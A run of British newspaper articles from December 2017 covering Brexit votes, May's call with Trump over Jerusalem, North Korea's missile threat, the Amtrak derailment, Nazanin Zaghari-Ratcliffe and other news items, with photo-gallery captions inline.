Senior Cabinet ministers rejected a claim by EU negotiator Michel Barnier that there will be no special deal to allow the City to continue trading in Europe. Defence Secretary Gavin Williamson said he was quite sure a deal would be done.

Transport Secretary Chris Grayling was understood to be arguing for French farm imports to be subject to the same access as the City.

A report by academics warned that Britain was in a very weak bargaining position because it is so much more dependent on trade with the EU than vice-versa.

Theresa May hails 'important' Brexit step

In a face-saving measure, No 10 will not withdraw its vote to set the date, but will instead agree to a set of amendments tabled by former Cabinet minister Sir Oliver Letwin that will effectively cancel it out.

A senior source told the Standard: We expect the Letwin amendments to be widely supported.

The retreat came on the eve of tomorrows showdown, when Tory rebels were predicting a bigger defeat of the Government than last weeks one over a meaningful vote.

Former Attorney General Dominic Grieve welcomed the step as a sensible way of resolving the matter and Bob Neill, a leading rebel, said he would back Mrs Mays amendment, providing both were passed.

The research by the University of Birmingham found that 12 per cent of UK output was at risk from a bad trade outcome, compared with just 2.6 per cent of European output. In economic terms the UK is in a very weak bargaining position, it said.
T heresa May was expected to raise concerns about Donald Trumps recognition of Jerusalem as Israels capital during a phone call with the US President, her official spokesman said.

The Prime Minister was speaking with Mr Trump from Downing Street on Tuesday afternoon, and was to restate her disagreement with his decision to move the US embassy to the holy city.

It comes after Britain joined 13 other members of the United Nations Security Council in backing a resolution, which rejected the recognition of Jerusalem as the capital of Israel. This was vetoed by the US.

Mrs May claimed earlier this month that the US leaders decision was unhelpful for peace in the war-torn region.

Mrs May said at Prime Minister's Questions that day that she intended to talk to Mr Trump about the matter but this is the first time they have spoken.

It is also the first time the pair have talked since their extraordinary transatlantic row over Mr Trump's sharing of inflammatory anti-Muslim videos posted by the far-right Britain First group's deputy leader, Jayda Fransen.

Donald Trump speaks at the White House / AP

But the Prime Minister's spokesman said she has "made her views clear" on the president's retweets.

The spokesman said the fact that it took 13 days between Mrs May announcing her intention to speak with Mr Trump and the call actually taking place was a "matter of scheduling" and that the PM "didn't put any timeframe on it".

He added: "The Prime Minister has said many times we have a strong relationship with the United States, we co-operate closely in a number of very important ways, such as terrorism, and we look forward to that continuing."

He went on: "We have a good relationship with the president.

"They spoke regularly over the summer and autumn months and they have met on a number of occasions and I am sure they will continue to do so."

Donald Trump Makes A Statement On Jerusalem

In a White House speech, Mr Trump said his move "marks the beginning of a new approach to conflict between Israel and the Palestinians".

He ordered the start of the multi-year process to relocate the US Embassy from Tel Aviv to Jerusalem.

Todays developments also came after the US vetoed a draft UN Security Council resolution rejecting Mr Trump's decision.

The text put forward by Egypt affirmed that any decisions on the status of Jerusalem had "no legal effect, are null and void and must be rescinded ". The 14 other members of the council voted in favour of the motion.

The US permanent representative Nikki Haley described it as an "insult" and warned that it would not be forgotten.
T heresa May has been criticised for failing to call out Donald Trump over his retweets of anti-Islamic videos during the leaders phone call.

The Prime Minister spoke to the US President for the first time since their spat last month over the videos Mr Trump shared via far-right group Britain First.

In a Downing Street read-out of their discussion on Tuesday, a Number 10 official made no mention of the incident which led to a tense clash between the leaders.

Hitting out at Mrs May on the issue, Labour Leader Jeremy Corbyn accused her of failing in her responsibility to stand up against hate.

The PM did however discuss Mr Trumps decision to recognise Jerusalem as Israels capital, which she said she opposed.

Number 10 said the two agreed on the importance of a "swift" transatlantic trade deal after the UK leaves the EU.

Downing Street condemns Donald Trump's 'Muslim' retweets

On the absence of the issue of the US Presidents retweets, a spokesman for Mr Corbyn said: It has taken Theresa May two weeks to contact Trump over his dangerous decision to recognise Jerusalem as Israel's capital, yet she seems to have failed to use the opportunity to call him out for retweeting abhorrent Islamophobic material.

As Prime Minister, May has a responsibility to stand up against hate and for all communities in our country."

The US President triggered a furious global backlash when he retweeted several unverified videos posted by the deputy leader of far-right group Britain First, Jayda Fransen.

The trio of anti-Islamic videos, which Mr Trump posted to his 43.5 million Twitter followers, includes footage of migrants allegedly assaulting a boy on crutches and a video claiming to show a Muslim destroying a statue of the Virgin Mary.

Previously condemning his decision to retweet the footage, Number 10 said at the time: "Britain First seeks to divide communities through their use of hateful narratives which peddle lies and stoke tensions.

Donald Trump retweeted the far-right videos originally posted by Britain First / Getty Images North America

"They cause anxiety to law-abiding people. British people overwhelmingly reject the prejudiced rhetoric of the far-right, which is the antithesis of the values that this country represents  decency, tolerance and respect.

"It is wrong for the President to have done this."

In the summary of Tuesday's phone call, Downing Street said the two leaders had covered a range of issues, including the humanitarian situation in Yemen.

An official said the two leaders agreed "on the vital importance of reopening humanitarian and commercial access to prevent famine and alleviate the suffering of innocent Yemenis".

On Israel, the leaders discussed their "different positions" on the US recognition of Jerusalem as the Israeli capital, agreeing "on the importance of the US bringing forward new proposals for peace and the international community supporting these efforts".

Downing Street added: "The prime minister updated the president on the recent good progress of the Brexit negotiations, and the president set out the progress he had made on his economic agenda.

"They agreed on the importance of a swift post-Brexit bilateral trade deal."
S enior executives from leading social media sites faced a grilling about hate crime from MPs attempting to tackle online abuse.

Representatives from Twitter, Facebook and Google were questioned by the Commons' Home Affairs Select Committee, which is investigating how they and other firms deal with abusive content.

The meeting came a day after Twitter suspended several accounts connected to far-right group Britain First.

Labour previously suggested social media companies should face "punitive" fines for failing to react quickly to offensive material that incites hatred and violence,

And on Monday Shadow Home Secretary Diane Abbott, who has spoken of being the target of abuse from trolls, described the brutal sexism and racism some people face online.

Live updates on the meeting as it happened:
B ritain must step up to deal with North Korea as it is on the path to developing missiles that could strike London, the Defence Secretary warned today.

In an exclusive interview with the Standard, Gavin Williamson stressed that the pariah regime was a massive threat and a real danger to the UK.

Britain would never hesitate to deal with aggression and threats, he added. Two Royal Navy warships are heading to join operations with the American fleet and other allies in the region.

Hours after Donald Trump warned of the nuclear menace posed by the East Asian countrys supreme leader, Kim Jong-un, Mr Williamson said: North Korea is a massive threat. They are a real danger to this country. They are currently on the pathway to have ballistic missiles that could strike London.

North Korea TV shows video of ballistic missile launch

This is not just a problem for the United States. This is a global problem. Britain has to step up in terms of dealing with it.

There are threats emerging right around the world. Britain is a global player, its a world player. We will never hesitate to deal with aggression and threats.

Pressed on whether Britain is making preparations to join America in dealing with North Korea, the Cabinet minister, who has had a rapid rise through the political ranks since becoming an MP in 2010, added: We are always planning for the worst and hoping for the best. We are working with all our allies in the region to make sure that we continue to put pressure on North Korea.

Weve got HMS Argyll, HMS Sutherland going to the region to do operations with our allies.

Kim Jong Un has said that Trump is 'mentally deranged' and will 'pay dearly' for his threats to destroy North Korea, / AFP/Getty Images

US scientists estimate that North Koreas latest missile, tested last month, could have flown 13,000 kilometres, or 8,000 miles.

London is about 5,400 miles from Pyongyang, which is working on developing the technology to put nuclear warheads on its long-range missiles.

North Korea: Ballistic Missile Test - In pictures 1 /29 North Korea: Ballistic Missile Test - In pictures AFP via Getty Images AP AP People watch reports about the launch of the short-range ballistic missiles Getty Images North Korean government shows a test of a missile launch in North Korea AP North Korea's leader Kim Jong Un watching through binoculars as a new-type of tactical guided short-range missile is launched at an undisclosed location in North Korea AFP/Getty Images A test of a missile launch in North Korea AP People watch a TV showing images of North Korea's missile launch during a news program at the Seoul Railway Station in Seoul, South Korea AP A man watches a news report about the North Korea missile launch EPA North Korean leader Kim Jong Un watches a missile test in North Kore AP Kim Jong-Un admires the launching of the Hwasong-15 missile AFP/Getty Images The new missile is thought to be capable of reaching anywhere on the US mainland AFP/Getty Images Missile: the Hwasong-15 missile which is capable of reaching all parts of the US AFP/Getty Images AFP/Getty Images AP AFP/Getty Images Missile test: The launch AFP/Getty Images AFP/Getty Images Rocket power: North Korean leader Kim Jong-un pictured giving an order to test-fire the newly developed intercontinental ballistic missile Hwasong-15 EPA The Hwasong-15 missile was launched in the early hours of Wednesday AFP/Getty Images

However, the more immediate threat from North Korea is to South Korea and Japan. Hours before Mr Williamson spoke, the US national security adviser, HR McMaster, said America had to be prepared, if necessary, to compel the denuclearisation of North Korea, with or without its co-operation.

In a wide-ranging interview, Mr Williamson also spoke about how Britains armed forces are ready to respond to a terrorist attack in London or other parts of the UK during the festive season.

After speaking to troops of the Household Cavalry Mounted Regiment  who will be on duty over the Christmas period  in Horse Guards in Whitehall, Mr Williamson said: The simple reality is, terrorism never sleeps. It does not take holidays, it does not respect Christmas.

Thats why our armed forces are doing such an important job in remaining constantly vigilant.

We are there to support the police and the intelligence services in making sure that we do everything to combat any threat.

But if in the dreadful situation that an event does occur, we are there to support them every step of the way in making sure that the British people are kept safe, with the fantastic work that our armed forces do.

The North Korean leader observes a missile launch

They make the British people an awful lot more safe than they would otherwise be.

Amid the heightened tensions, Washington has also publicly blamed North Korea for a cyber attack in May that infected hundreds of thousands of computers worldwide and crippled parts of the NHS.

Just weeks ago, Pyongyang reignited tensions by resuming its missile tests, firing what it claimed was a type of intercontinental ballistic missile. It was said to be a Hwasong-15 and appeared to be a more advanced version of one launched in July.

In defiance of UN Security Council resolutions and international condemnation, including from its lone major ally, China, Kims regime boasted about developing a missile capable of carrying a nuclear warhead and reaching mainland America.

North Korea's estimated missile ranges

After the launch, a regime statement quoted Kim as saying: Now we have finally realised the great historic cause of completing the state nuclear force, the cause of building a rocket power.

The dictator, who is in his early thirties, came to power in 2011 following the death of his father Kim Jong-il. Diplomats fear that an accident during his weapons testing could trigger military conflict.

Meanwhile, Japan and South Korea urged China to do more to pressure the rogue regime to end its nuclear and missile programmes.

After holding talks with his South Korean counterpart, Kang Kyung-wha, Japans foreign minister Taro Kono said: China is currently implementing the United Nations Security Council resolutions but China can probably do more.

We agreed on the need to put pressure firmly on North Korea.
P rince Harry has taken over his grandfathers position as Capitan General of the Royal Marines after the appointment was approved by the Queen.

Harry accompanied Prince Philip on his final duty as general on Tuesday as they hosted the incoming and outgoing Commandants General at Buckingham Palace.

The Duke of Edinburghs association with the Royal Marines dates back to 1953, when he was appointed in succession to the Queens father King George VI.

The Duke has carried out various overseas visits to the Marines. He visited Malta in 1960, Singapore in 1968, Norway in 1980, Cyprus in 1984 and Belgium in 1993.

Buckingham Palace said: "The Queen has been pleased to give her formal approval to the appointment of His Royal Highness Prince Henry of Wales as Captain General Royal Marines."

Philip's final duty as Captain General was to receive Major General Robert Magowan, the outgoing Commandant General Royal Marines, and his replacement Major General Charles Stickland.

Harry was also at the Buckingham Palace event and the foursome posed for a photograph to mark the occasion.

The Queen's Consort announced in May he would be retiring from royal engagements after more than 65 years supporting the monarch in her role as head of state and attending events for his own charities and organisations.

Prince Philip, The Duke of Edinburgh: Final Royal Engagement 1 /21 Prince Philip, The Duke of Edinburgh: Final Royal Engagement The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace Getty Images The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace PA The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace PA The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace PA The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace Reuters The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace PA The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace PA The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace PA Royal Marines prepare for a parade attended by Britain's Prince Philip, in his role as Captain General, Royal Marines, to mark the finale of the 1664 Global Challenge, on the Buckingham Palace Forecourt Reuters Royal Marines prepare for a parade attended by Prince Philip, in his role as Captain General, Royal Marines, to mark the finale of the 1664 Global Challenge Reuters The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace PA The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace PA The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace PA The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace PA The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace PA The Duke of Edinburgh attending the Captain General's Parade as his final individual public engagement at Buckingham Palace Reuters

As a former Royal Navy officer it was fitting that Philip's last public solo event featured men from the Royal Marines, an integral part of the Navy.

On August 2 in Buckingham Palace's forecourt Philip celebrated the achievements of the Royal Marines who had taken part in the 1664 Global Challenge, a series of strength and endurance feats raising funds and awareness for the Royal Marines Charity.

It was the last of his 22,219 solo official engagements, carried out since 1952.

Prince Harry started his military career at Sandhurst in 2005 before he was commissioned as second lieutenant in the Household Cavalry, Blues and Royals.

The Corps of the Royal Marines is at the heart of the Royal Navy's amphibious capability. It is viewed as one of the world's elite commando forces.
A new online database has been launched to help renters in 10 London boroughs check up on potentially rogue landlords.

Sadiq Khan said the new system "will leave rogue landlords with nowhere to hide" as the scheme launched on Tuesday.

Data for landlords operating in Brent, Camden, Greenwich, Islington, Kingston, Newham, Southwark, Sutton, Waltham Forest, and Westminster have already been published on the website.

More than 600,000 renters living in the boroughs can now run background checks on landlords and letting agents.

Barking and Dagenham, Croydon, Enfield, Hackney, Haringey, Lewisham, Redbridge, and Tower Hamlets councils have agreed to submit records soon.

The mayor hit out at the current Conservative government, saying Theresa May's Cabinet should do more to protect renters across the country.

Mr Khan said: The housing market in London is difficult enough for Londoners to navigate, without those landlords and letting agents who behave unscrupulously leaving tenants living in appalling conditions, despite often paying sky-high rents.

"I promised to do everything within my powers to help Londoners facing this problem  I will not stand by while they are exploited.

Many landlords and agents across London offer a great service  but sadly some dont.

"My new database is about empowering Londoners to make informed choices about where they rent, and sending rogue operators a clear message: you have nowhere to hide.

Boroughs on the database and I are using our existing powers to help Londons renters  but to go much further we need investment and resources from central government.

"For a start they should stop dragging their feet on the creation of the compulsory national database they promised to set-up.

"Before Ministers have even laid the regulations for their database, weve planned, built and launched ours  and unlike the Governments plans, we have made our database accessible to the public.

The Rogue Landlord Checker is available to try here.
S chool pupils could be taught about porn, sexting and cyber-bullying as part of a radical shake-up of sex education lessons across the UK.

A consultation has been launched in the hopes of revamping "out of date" guidelines in British schools.

The plans, revealed on Tuesday, suggest pupils should be taught about sexting, online porn and cyber-bullying to help them cope with "the real world".

Supporters of the update say the current curriculum does not address any of these issues and also fails to address mental health and LGBT issues.

The guidelines currently used in the UK school curriculum were issued under Tony Blair's Labour government in 2000.

Education secretary Justine Greening told Sky News: "The world's changed a lot since then, not least the online risks that our children and young people face.

"Whether (that be) cyberbullying, the huge amount of inappropriate material that is on the internet and sex - so we now need to update this guidance.

"We're working with people like Barnardo's and the NSPCC to make sure that we do it properly.

"It is important that everyone has their say and I think we need to speak to parents and teachers in particular. And of course, young people.

"I met with some young people in Parliament about a month ago and they were staggered that no government has updated the guidance since 2000.

"I think there is a general consensus that we need to improve things and that it is what we are making a start on today."

A report commissioned by the women and equalities committee last year, led by MP Maria Miller, found sexual harassment and abuse had become a "normal part of school life".
A US train was travelled 80mph in a 30mph zone when it derailed killing at least three people as it plunged from a bridge onto a motorway below, authorities say.

Dozens more people were injured when the Amatrak train crashed during its inaugural trip on a new line in Washington state early on Monday.

An investigation revealed the train had been travelling 50mph above the speed limit before carriages hurtled off the tracks and plummeted onto the I-5 road, hitting vehicles.

The US National Transportation Safety Board (NTSB) used information gathered from an onboard data recorder to determine the train's speed.

Authorities say at least three people were killed and dozens more injured when the train derailed early on Monday morning.

NTSB board member Bella Dinh-Zarr said it is not yet known what caused the train to derail and that "it's too early to tell" why it was going so fast.

Three people have been confirmed dead / AP

A number of those injured are in a critical condition, authorities said today.

Seventy-seven passengers and seven crew members were on board when the train derailed and pulled 13 cars off the tracks at 7.30am (3.30pm GMT) near DuPont, about 30 miles south of Seattle.

In a radio transmission immediately after the accident, the conductor can be heard saying the train was coming around a corner and was crossing a bridge when it derailed.

He can be heard stating: "Emergency! We are on the ground!"

Washington train derailment 18.12.17 1 /12 Washington train derailment 18.12.17 The scene of the wreck after train carriages derailed and fell onto a busy motorway in Washington state AP The incident happened just after 7.30am (3.30pm GMT) AP Seven vehicles on the road below were hit by the falling carriages AP The road below was full of cars as it happened during rush hour @wsdot_tacoma The Amtrak train was making its inaugural journey on the new bypass EPA At least three people were confirmed dead on Monday evening, with 100 others injured REUTERS The Amtrak train 501 derailed onto Interstate 5 near DuPont EPA There were 77 passengers on board the train when it derailed, plus five crew members AFP/Getty Images The cause of the derailment is under investigation AP

Passenger Aleksander Kristiansen, a 24-year-old exchange student, said: "I was just coming out of the bathroom when the accident happened. My car just started shaking really, really badly.

Things were falling off the shelf. Right away, you knew that this was not something minor.

He added that he was "one of the lucky ones" because he was able to jump out the back door of his carriage, which was in the middle of the train, to safety.

Passing neurosurgeon Dr Nathan Selden offered to help and said it was a miracle that one child escaped unscathed.

President Donald Trump used the deadly derailment to call for more infrastructure spending in a tweet sent about three hours after the accident. He went on to share a video of himself paying tribute to the victims.

Federal investigators are continuing investigations at the scene.

Additional reporting by Press Association
T he husband of jailed British mother Nazanin Zaghari-Ratcliffe has challenged an attack by a senior Iranian cleric denouncing his wife as a "dirty spy".

Richard Ratcliffe wrote to the Iranian ambassador in London, urging him to make clear to all state bodies in Iran that his wife was not involved in espionage.

The move came after the hardline Ayatollah Ahmad Alamolhoda described Mrs Zaghari-Ratcliffe - who has dual Iranian nationality - as a "dirty spy who sold her country" during Friday prayers at the Imam Reza Shrine in Mashhad.

Mr Ratcliffe said Monday he has not lost hope his wife may be released from an Iranian prison in time for Christmas.

Nazanin Zaghari-Ratcliffe with her husband Richard Ratcliffe and their daughter Gabriella

In comments monitored by the Free Nazanin Campaign, the ayatollah also denounced the recent visit to Iran by Foreign Secretary Boris Johnson calling him a "little man", a "liar", a "clown" and a "womaniser".

In his letter to ambassador Hamid Baeidinejad, Mr Ratcliffe said he was not prepared to let the latest "falsehood" about his wife stand unchallenged.

"Nazanin remains a mum on holiday with a toddler, an ordinary citizen, British and Iranian, held in prison for doing a charity job," he said.

"She is not a spy. She has never sold her country out. Not even the Revolutionary Court has claimed that. With all these new spy claims, the emperor has no clothes."

Boris Johnson visited Iranian Foreign Minister Mohammad Javad Zarif earlier this month / AP

Mr Ratcliffe said he was particularly concerned that the comments were made during prayers at one of the holiest sites in Iran.

"Saying something false at Friday prayers does not make it true, but it makes it more dangerous - because it risks making it sanctified fact," he said.

"A falsehood in a place of God is not less of a lie, but more. Friday prayers should be a place of truth and respect, not of insults and mistakes."

Mrs Zaghari-Ratcliffe is serving a five-year sentence over allegations, which she denies, of plotting to overthrow the Tehran government.

Despite the latest comments in Iran, Mr Ratcliffe said he remained "hopeful" that his wife would soon be released and would be able to return home with their three-year-old daughter, Gabriella, in time for Christmas.

In a statement released by the campaign, Mrs Zaghari-Ratcliffe said: "Gabriella and I keep dreaming - about getting on a flight, and going to see her daddy after such a long time. We still dream of our Christmas tree in London, and the three of us decorating it together.

"I have been flattered lots of times before that I will be released soon, and I have kept quiet all along. Those promises turned out to be lies - all I did was quietly cry. But I hope again this time.
T he family of a simply irreplaceable British diplomat found murdered in Beirut have paid an emotional tribute to the 30-year-old.

Rebecca Dykes body was found dumped at the side of a motorway east of Lebanon's capital on Saturday.

An Uber driver arrested over the killing has admitted attempting to rape Ms Dykes before strangling her with a rope, according to local media reports.

In an official statement released by the Foreign Office on Monday, the victim's family said: "For Becky to have her life cruelly taken away in these circumstances is devastating to our family.

"Becky is simply irreplaceable and we will never fully recover from this loss."

Rebecca Dykes was found murdered in Beirut / PA

Ms Dykes' family said they are "grateful that the investigation is moving at pace" and thanked the authorities for acting "quickly and thoroughly".

"Becky was genuine, generous, and loving, as anyone who knew her would agree. She was intelligent, ambitious, and dedicated to her work," they said.

"Becky had a love of travelling, and was passionate about helping people.

The family of British embassy worker Rebecca Dykes said they are 'devastated'. / PA

"She always wanted to make the world a better place - her humanitarian work in Beirut was testament to that."

It is believed Ms Dykes had been at a colleague's leaving party in the Gemmayzeh district of Beirut on Friday night.

Lebanese police traced the suspect after his car was picked up on traffic management CCTV cameras.

The area where Rebecca Dykes' body is believed to have been found / EPA

An official said the murder was a "criminal act" and not politically motivated.

Ms Dykes was a former pupil of Malvern Girls' College and Rugby School and had spent time at a Chinese international school.

She was working as a programme and policy manager with the Department for International Development and as policy manager with the Libya team at the Foreign Office (FCO), according to her LinkedIn page.

She had previously worked as an Iraq research analyst with the FCO.

A Department for International Development spokesman said: "Our thoughts are with Becky's family and friends at this very upsetting time.

"There is now a police investigation and the FCO is providing consular support to Becky's family and working with the local authorities."

The Foreign Office confirmed that an arrest had been made.

An Uber spokesman said: "We are horrified by this senseless act of violence. Our hearts are with the victim and her family. We are working with authorities to assist their investigation in any way we can."
S he has had a gun held to her head, been shot at and gone undercover to report from some of the worlds most dangerous places... so it is no wonder that Ramita Navais mother wants her to settle for a desk job in the suburbs.

The London documentary-maker, 44, won the British Journalism Award for foreign reporting this month for her new film, Isis And The Battle For Iraq.

In it, she investigated allegations of abuses on Sunni civilians by Shia militias fighting alongside the Iraqi army. She went undercover in Diyala, a province where two journalists investigating the militias had been murdered.

Of her parents, Laya and Kourosh, she said: My mum is just dying for me to get an office job in East Sheen. My dad is now just resigned to the fact this is what I do. They worry a lot.

Refugees in no mans land near the IS-held town of Hawija

Navai, a British-Iranian, said the possibility of being kidnapped was a big worry. But she added: Normally I dont travel with security. I like to operate below the radar. That is why I am not gung-ho. The Iraq set-up took months.

During her Emmy-winning career, Navai has also investigated criminal gangs, human traffickers and Islamic State in Syria.

She said she has been shot at a number of times, seen a suicide bomber blown up moments before carrying out an attack and been trapped in a safe house with three of Syrias most wanted opposition leaders as the army searched door-to-door.

However, Navai, who lives in Notting Hill, said reporting on child assassins and the disappearance of hundreds of Honduran women in Central America in 2010 and 2012 was her scariest assignment  and that despite the danger, her bravery was nothing compared with that of local reporters.

Sometimes I feel ashamed with what I do because it is nothing compared to what journalists do in other countries who put their heads above the parapet, she said. I can come back to the safety of the Golborne Road and that is why I have utmost respect for journalists in places like Mexico  I am in awe of them.

Isis And The Battle For Iraq, from Channel 4s Dispatches team, was the brainchild of Tom Porter, the channels news and current affairs commissioning editor, who had wanted to make a film about Iraq for several years.

She said she hoped her films lead to change but admitted that this rarely happens.

As a result of the latest documentary, however, she said there have been changes in the way the international community have dealt with the Iraq government on the issue of Shia militias.

The British Journalism Award judges described the film as different and vital to understanding the future of Iraq.

Navai said: It is about human connections on the ground. If someone feels empowered for the few hours they spend telling me the story they want to get out, knowing it will get some attention... I take some pride in that.
T he US has vetoed a resolution put forward by the United Nations Security Council rejecting Donald Trumps recognition of Jerusalem as Israels capital.

The UK had joined the 13 other members of the council in backing the resolution in a show of global concern over the presidents move.

But US ambassador Nikki Haley called it "an insult" and said she wielded the veto "in defence of American sovereignty and in defence of America's role in the Middle East peace process".

Meanwhile, Prime Minister Theresa May personally restated her disagreement with Mr Trump's decision in a telephone call with Turkish President Recep Tayyip Erdogan.

Mr Trump sparked protests across the Middle East when he broke from decades of US neutrality in the on December 6 to announce he recognised Jerusalem as Israel's capital and would move the US embassy from Tel Aviv.

Protests erupt after Trump's Jerusalem decision 1 /62 Protests erupt after Trump's Jerusalem decision Palestinian protestors clash with Israeli forces near an Israeli checkpoint in the West Bank city of Ramallah AFP/Getty Images Israeli forces take position during clashes with Palestinian protestors near an Israeli checkpoint in the West Bank city of Ramallah AFP/Getty Images Palestinian protesters burn an effigy of U.S. President Donald Trump AP AFP/Getty Images Palestinians burn posters of Israeli Prime Minister Benjamin Netanyahu and U.S. President Donald Trump, during a protest against the U.S. decision to recognize Jerusalem as Israel's capital, in Gaza City AP Israeli forces disperse Palestinian protestors outside Damascus Gate in Jerusalem's Old City AFP/Getty Images Palestinian youths take part in a protest against US President Donald Trump's decision to recognise Jerusalem as the capital of Israel, in Gaza City AFP/Getty Images Pakistanis burn a representation of the U.S. flag during a protest rally in Hyderabad, Pakistan AP Palestinian protestors set fire to a picture of US president Donald J. Trump during a protest in the West Bank City of Nablus EPA Smoke billows from burning tyres as Palestinian demonstrators clash with Isralei troops AFP/Getty Images Palestinian youths take part in a protest against US President Donald Trump's decision to recognise Jerusalem as the capital of Israel, in Gaza City AFP/Getty Images Jordanian police stand guard near the American Embassy in Amman, Jordan REUTERS Palestinian demonstrators clash with Israeli troops during protests in the West Bank city of Ramallah AFP/Getty Images Palestinians paint an 'X' over the face of a picture of US president Donald J. Trump on the Israeli separation wall in Bethlehem, West Bank EPA Supporters of a Pakistani religious party rally against the United States and Israel, in Lahore, Pakistan AP A supporter of the Difa-e-Pakistan Council (DPC) an Islamic organization burns US flags Reuters A view from Armon Hanaziv promenade on the old city of Jerusalem, EPA Palestinian protesters chant angry slogans as one burns a representation of the American flag AP Palestinian protestors shout slogans against US President Donald Trump's decision to recognise Jerusalem as the capital of Israel, in the West Bank city of Nablus AFP/Getty Images Iraqi Shi'ite Muslim leader Moqtada al-Sadr gestures as he delivers a speech over U.S.President Donald Trump's decision to recognize Jerusalem as the capital of Israel, in Baghdad, Iraq Reuters Children stand on U.S. and Israeli flags during a protest following U.S. President Donald Trump's announcement that he has recognized Jerusalem as Israel's capital, in Islamabad, Pakistan Reuters Protests erupt in Middle East after Donald Trump declares Jerusalem capital of Israel AP Hamas Chief Ismail Haniyeh gestures as he delivers a speech over U.S. President Donald Trump's decision to recognize Jerusalem as the capital of Israel, in Gaza City Reuters Protesters chant anti-American slogans in Gaza city AP Young Palestinians wave flags in protest at Mr Trump's decision in Gaza EPA People gather in protest to wave flags and chant in Gaza EPA Protesters pray in the street outside the US Embassy in Istanbul, Turkey Getty Images The Christmas tree in front of Bethlehem's Church of the Nativity had its lights turned off in protest EPA Protesters burn posters of Donald Trump in Manger Square, Bethlehem AFP/Getty Images A demonstration against the US and Israel at Fatih Mosque in Istanbul AFP/Getty Images Protesters wave Palestinian and Turkish flags during a demonstration in Istanbul AFP/Getty Images Protesters burn the Israeli flag in Cairo, Egypt EPA Pro-Palestinian protesters in Berlin, Germany EPA Palestinians burn Israeli and US flags and posters of US President Donald Trump and Israeli Prime Minister Benjamin Netanyahu during protest against the US intention to move its embassy to Jerusalem and to recognize the city of Jerusalem as the capital of Israel, in Rafah, southern Gaza Strip EPA Protesters wave flags and shout slogans outside the U.S. Consulate on December 6, 2017 in Istanbul, Turkey Getty Images The Hamas organization's top leader Sheikh Ismaeil Haneiya (C) attends a protest against the US decision to recognize the city of Jerusalem as the capital of Israel, in Gaza City, Gaza Strip EPA US President Donald J. Trump signs his proclamation about his controversial decision to formally recognize Jerusalem as the capital of Israel, and his plan to relocate the US embassy to that city, in the Diplomatic Room of the White House in Washington, DC EPA The US and Israeli flags hang at the entrance of Jerusalem Municipality building following US President Donald Trump's decision to recognise the city as the capital of Israel AFP/Getty Images Christian worshipers carry a wooden cross through an alley of Jerusalem's old city EPA Israeli policemen scuffle with a Palestinian man during a protest following U.S. President Donald Trump's announcement that he has recognized Jerusalem as Israel's capital, near Damascus Gate in Jerusalem's Old City Reuters Israeli Prime Minister Benjamin Netanyahu addresses an international conference on digital diplomacy at the foreign ministry in Jerusalem AFP/Getty Images Palestinians shout slogans during a protest following U.S. President Donald Trump's announcement that he has recognized Jerusalem as Israel's capital, near Damascus Gate in Jerusalem's Old City Reuters Protesters chant slogans and wave Palestinian flags during a demonstration against the US and Israel in front of the US consulate in Istanbul AFP/Getty Images Palestinians take part in a protest against US President Donald Trump's decision to recognise Jerusalem as the capital of Israel, in Gaza City AFP/Getty Images A wounded Palestinian protester is evacuated during clashes with Israeli troops at a protest against U.S. President Donald Trump's decision to recognize Jerusalem as the capital of Israel, near the border with Israel in the southern Gaza Strip Reuters Israel policemen stand guard at the Damascus gate of Jerusalem's old city EPA Palestinian youths take part in a protest against US President Donald Trump's decision to recognise Jerusalem as the capital of Israel, in Gaza City AFP/Getty Images

Mrs May moved quickly at the time to say she regarded the decision as "unhelpful for prospects for peace in the region" and to restate Britain's position that the status of Jerusalem - claimed as capital by Israelis and Palestinians - should be settled as part of a negotiated settlement.

Speaking after Monday's vote in New York, Britain's UN ambassador Matthew Rycroft said: "The status of Jerusalem should be determined through a negotiated settlement between the Israelis and the Palestinians, and should ultimately be the shared capital of the Israeli and Palestinian states."

The vetoed resolution would have demanded that all countries comply with earlier Security Council decisions on Jerusalem, dating back to 1967, requiring the city's final status to be decided in direct negotiations between Israel and the Palestinians.

Any decisions by a UN member state which purport to alter the status of the city "have no legal effect, are null and void and must be rescinded", said the resolution, tabled by Egypt.

There was never any question of the US opting not to exercise its veto on a resolution which would have had the effect of forcing Mr Trump to reverse his decision.

Donald Trump: It's time to recognise Jerusalem as Israel's capital

Palestinians immediately said they would seek a similar resolution in the 193-member UN General Assembly, where there are no vetoes but decisions are not legally binding.

Turkey has been at the forefront of global criticism of the US move, hosting a conference of Muslim nations which denounced it as an "unlawful decision that might trigger chaos in the region".

In her phone call with Mr Erdogan, Mrs May repeated her disagreement with Mr Trump's decision and restated the UK's position that Jerusalem should ultimately form a shared capital between the Israeli and Palestinian states.

She also stressed the importance of continuing to work with the US to encourage them to bring forward proposals that will re-energise the peace process, said Downing Street.

The two premiers also discussed the "significant strengthening" of ties between the UK and Turkey following Mrs May's visit to the country in January, featuring the signing of a 100 million defence deal, as well as Turkish prime minister Binali Yildirim's trip to Britain last month.
H ugh Jackman has said he ignored advice from his doctor who told him not to sing so soon after having skin cancer removed from his nose.

The 49-year-old actor is currently starring as P.T. Barnum in the new movie musical The Greatest Showman but in a recent Facebook video, Jackman revealed he couldnt help singing despite being warned against it by his doctor.

Jackman, joined by filmmaker Michael Gracey who helmed the production, captioned the video: Sorry (not sorry) to my surgeon.

He told me not to sing. I did it anyway. And after I ran back to get restitched. Worth it!!! #FromNowOn Greatest Showman #donottrythisathome (sic)

The Greatest Showman - Trailer 2

Jackman explained in the video he planned to gesticulate instead of singing when the cast came together for the first time in New York City.

The Australian star said: I just had a skin cancer cut out of my nose. All was fine but I had 80 stiches in my nose and my doctor said youre not allowed to sing.

